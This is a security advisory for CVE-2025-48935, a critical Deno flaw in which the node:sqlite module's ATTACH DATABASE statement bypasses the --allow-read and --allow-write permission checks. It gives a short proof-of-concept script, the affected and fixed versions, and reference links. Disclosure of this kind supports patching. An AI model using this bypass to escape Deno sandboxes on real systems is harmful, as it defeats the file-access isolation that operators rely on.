critical9.1
CVE-2025-48935
Deno has --allow-read / --allow-write permission bypass in `node:sqlite`
Impact
## Summary It is possible to bypass Deno's read/write permission checks by using `ATTACH DATABASE` statement. ## PoC ```js // poc.js import { DatabaseSync } from "node:sqlite" const db = new DatabaseSync(":memory:"); db.exec("ATTACH DATABASE 'test.db' as test;"); db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);"); ``` ``` $ deno poc.js ```
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| rust | deno | >= 2.2.0, < 2.2.5 | 2.2.5 |
| rust | deno_node | >= 0.129.0, < 0.134.0 | 0.134.0 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Deno | Deno | from 2.2.0 before 2.2.5 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/denoland/deno/commit/31a97803995bd94629528ba841b2418d3ca01860
- https://github.com/denoland/deno/security/advisories/GHSA-8vxj-4cph-c596
- https://github.com/advisories/GHSA-8vxj-4cph-c596
- https://nvd.nist.gov/vuln/detail/CVE-2025-48935
- https://rustsec.org/advisories/RUSTSEC-2025-0138.html